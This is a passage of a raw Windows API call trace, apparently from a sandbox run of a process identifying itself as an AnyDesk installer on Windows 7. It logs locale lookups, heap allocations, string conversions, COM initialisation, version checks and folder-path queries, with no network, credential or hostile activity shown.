lpLCData=0x0) returned 9 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d750 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x24d750, cchData=9 | out: lpLCData="February") returned 9 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xc) returned 0x24e420 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x24e420, cchData=6 | out: lpLCData="March") returned 6 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xc) returned 0x24e438 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x24e438, cchData=6 | out: lpLCData="April") returned 6 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f470 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x24f470, cchData=4 | out: lpLCData="May") returned 4 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa) returned 0x24e450 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x24e450, cchData=5 | out: lpLCData="June") returned 5 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa) returned 0x24e468 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x24e468, cchData=5 | out: lpLCData="July") returned 5 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe) returned 0x24e480 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x24e480, cchData=7 | out: lpLCData="August") returned 7 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x14) returned 0x24d770 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x24d770, cchData=10 | out: lpLCData="September") returned 10 [0178.153] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24e498 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x24e498, cchData=8 | out: lpLCData="October") returned 8 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d790 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x24d790, cchData=9 | out: lpLCData="November") returned 9 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d7b0 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x24d7b0, cchData=9 | out: lpLCData="December") returned 9 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0178.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6) returned 0x24f480 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x24f480, cchData=3 | out: lpLCData="AM") returned 3 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0178.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6) returned 0x24f490 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x24f490, cchData=3 | out: lpLCData="PM") returned 3 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d7d0 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x24d7d0, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0178.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0178.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x28) returned 0x24f170 [0178.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x24f170, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0178.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0178.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x24d7f0 [0178.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x24d7f0, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0178.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x355) returned 0x24f768 [0178.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f768 | out: hHeap=0x240000) returned 1 [0178.156] GetLastError () returned 0x0 [0178.156] SetLastError (dwErrCode=0x0) [0178.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x12651c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x12651c) returned 1 [0178.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1) returned 0x24f4a0 [0178.157] GetLastError () returned 0x0 [0178.157] SetLastError (dwErrCode=0x0) [0178.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x24f4a0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x12651c | out: lpMultiByteStr="", lpUsedDefaultChar=0x12651c) returned 1 [0178.157] GetLastError () returned 0x0 [0178.157] SetLastError (dwErrCode=0x0) [0178.157] GetLastError () returned 0x0 [0178.157] SetLastError (dwErrCode=0x0) [0178.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xd8) returned 0x24f768 [0178.157] GetLastError () returned 0x0 [0178.157] SetLastError (dwErrCode=0x0) [0178.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x355) returned 0x24f848 [0178.158] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f848 | out: hHeap=0x240000) returned 1 [0178.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242ca0 | out: hHeap=0x240000) returned 1 [0178.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.164] GetLastError () returned 0x0 [0178.164] SetLastError (dwErrCode=0x0) [0178.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x242d84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0178.164] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x3a) returned 0x242ca0 [0178.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x242d84, cbMultiByte=-1, lpWideCharStr=0x242ca4, cchWideChar=27 | out: lpWideCharStr="English_United States.1252") returned 27 [0178.164] OleInitialize (pvReserved=0x0) returned 0x0 [0178.197] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0178.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0178.226] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xb2) returned 0x24f848 [0178.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aa80, cbMultiByte=-1, lpWideCharStr=0x24f848, cchWideChar=89 | out: lpWideCharStr="Unable to initialize AnyDesk.\nPlease contact support@anydesk.com if you see this error.\n") returned 89 [0178.226] GetVersionExW (in: lpVersionInformation=0x126244*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x126244*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0178.227] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0178.227] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0178.227] VerifyVersionInfoW (in: lpVersionInformation=0x126104, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x126104) returned 0 [0178.227] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0178.227] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0178.227] VerifyVersionInfoW (in: lpVersionInformation=0x126104, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x126104) returned 0 [0178.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14871ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.227] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d810 [0178.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14871ec, cbMultiByte=-1, lpWideCharStr=0x24d810, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0178.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146ca40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.227] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e4b0 [0178.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146ca40, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=5 | out: lpWideCharStr="OS: ") returned 5 [0178.227] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242ce8 [0178.227] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xcc) returned 0x24f908 [0178.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f848 | out: hHeap=0x240000) returned 1 [0178.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242ce8 | out: hHeap=0x240000) returned 1 [0178.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d810 | out: hHeap=0x240000) returned 1 [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.228] SetLastError (dwErrCode=0x47e) [0178.228] GetLastError () returned 0x47e [0178.229] SetLastError (dwErrCode=0x47e) [0178.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x125f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.229] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242ce8 [0178.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x125f3c, cbMultiByte=-1, lpWideCharStr=0x242ce8, cchWideChar=19 | out: lpWideCharStr=", Mode: installer\n") returned 19 [0178.229] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xf0) returned 0x24f9e0 [0178.229] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f908 | out: hHeap=0x240000) returned 1 [0178.229] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242ce8 | out: hHeap=0x240000) returned 1 [0178.229] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x1263b4 | out: pszPath="C:\\ProgramData") returned 0x0 [0178.236] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242ce8 [0178.236] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240be8 | out: hHeap=0x240000) returned 1 [0178.236] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x125f24 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 0x0 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x242d10 [0178.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240bf8 | out: hHeap=0x240000) returned 1 [0178.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240bd8 | out: hHeap=0x240000) returned 1 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x24f848 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x24f898 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0178.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.271] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4b0 [0178.271] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4a0 [0178.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0178.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x24f8e8 [0178.271] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x56) returned 0x24f938 [0178.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f8e8 | out: hHeap=0x240000) returned 1 [0178.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d10 | out: hHeap=0x240000) returned 1 [0178.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0178.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0178.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0178.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4a0 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x240bd8 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2e) returned 0x24f998 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240bd8 | out: hHeap=0x240000) returned 1 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242ce8 | out: hHeap=0x240000) returned 1 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4b0 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4a0 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0178.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x24f8e8 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x56) returned 0x242ce8 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f8e8 | out: hHeap=0x240000) returned 1 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f848 | out: hHeap=0x240000) returned 1 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x24f848 [0178.275] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f898 | out: hHeap=0x240000) returned 1 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.275] HeapFree (in: hHeap=0x240000, dwFlags=0x0, 